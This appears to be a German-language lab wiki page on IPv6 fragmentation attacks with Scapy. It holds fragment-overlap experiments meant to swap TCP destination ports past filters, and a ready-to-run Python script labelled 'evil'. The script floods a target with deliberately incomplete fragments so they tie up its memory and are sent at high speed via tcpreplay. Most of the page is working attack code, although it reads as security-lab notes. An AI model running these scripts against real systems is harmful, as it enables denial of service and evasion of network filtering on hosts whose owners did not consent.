Inhaltsverzeichnis

IPv6-Pakete fragmentieren

Scapy: Die fragment6(packet, size) Funktion setzt voraus, dass das zu fragmentierende Paket bereits einen Fragmentation-Header besitzt, ansonsten wird nicht fragmentiert.

:!: Linux akzeptiert nur Fragmente deren Payload-Länge ein Vielfaches von 8 ist (Offset wird als Vielfaches von 8 Byte angegeben), ansonsten gibt es eine ICMP-Parameter-Problem Meldung :!:

Versuch 1: Überschreiben von Paketfragmenten mit neueren Informationen

dest="2001:db8:1:0:a00:27ff:affe:1234" /* Ubuntu */
 
p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/TCP(sport=17002,dport=23,flags="S")/Raw("x"*36)
p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)
 
send(p23)
send(p80)

Allerdings schlägt die Reassembly auf dem Zielsystem trotzdem fehl (Time Exceeded). Da beide Pakete den Offset 0 tragen und auf das p80 Paket auch eine passende Antwort vom Zielsystem generiert wird, ist davon auszugehen, dass Fragmente mit 'Offset 0' separat behandelt werden (nicht überschrieben)!

Versuch 2: Alternative incl. Destination Header

Es wird ein Destination Header hinzugefügt, so dass das 2. Fragment mit einem höheren Offset als '0' versandt werden kann und trotzdem der Transport-Header überschrieben werden könnte.

Das Reassembly funktioniert jetzt, allerdings nicht wie erwartet: Linux mit Kernel 2.6.35 scheint für diesen Angriff nicht empfindlich zu sein, das erste empfangene Fragment bleibt erhalten und wird nicht überschrieben.

/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/

p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt(nh=6)
p22 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=22,flags="S")/Raw("x"*40)

/* Kein Upper-Layer Header im 1. Fragment → Reassembly: WWW (Port 80)*/ /* Verschiedener Upper-Layer Header im 1. Fragment → Telnet (Port 23) */

p23 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=1)/IPv6ExtHdrDestOpt()/IPv6ExtHdrDestOpt()/TCP(sport=17002,dport=23,flags="S")/Raw("y"*20)

/* Next Header im nächsten Fragment muss 'Destination Header' sein → WWW (Port 80) */

p80 = IPv6(dst=dest)/IPv6ExtHdrFragment(id=123456,m=0,offset=2,nh=60)/TCP(sport=17002,dport=80,flags="S")/Raw("x"*36)

>>> i=IPv6(dst="2001:db8:20::1")
>>> ext=IPv6ExtHdrFragment()
>>> q=UDP()/Raw(load="X"*50000)
>>> p=Ether()/i/ext/q            ## Ether() is requiered for sendpfast()
>>> ar1=fragment6(p, 1280)

Senden:

>>> sendp(ar1)

oder schneller:

>>> sendpfast(ar1)

Ein böses Script

#! /usr/bin/env python
from scapy.all import IPv6,IPv6ExtHdrFragment,UDP,Ether,fragment6,sendpfast,Raw,wrpcap
import sys
 
ar1=[]
target="2001:db8:20::1"
fragmentsize=1280
 
for n in range(1,10):    ## Wert erhöhen um mehr Pakte zu erzeugen die Fragmentiert werden
    i=IPv6(dst=target)
    ext=IPv6ExtHdrFragment()
    q=UDP()/Raw(load="V"*50000)
    p=Ether()/i/ext/q
    ar1.extend(fragment6(p, fragmentsize))
 
f=len(ar1)
x=0
while x < f:             ## ueberschreibt jedes 30. Fragment mit dem 3.
    ar1[x]=ar1[2]        ## Fragmente werden so nie vollständig übertragen
    x=x+30               ## und verbleiben im Speicher von target
 
sendpfast(ar1)

Evenuell sind noch folgende Änderungen vorzunehmen

in Scapys sendrecv.py:

257: @conf.commands.register
258: def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, iface=None):
-->:     from scapy.utils import wrpcap
259:     """Send packets at layer 2 using tcpreplay for performance

tcpreplay muss installiert sein:

$ sudo apt-get install tcpreplay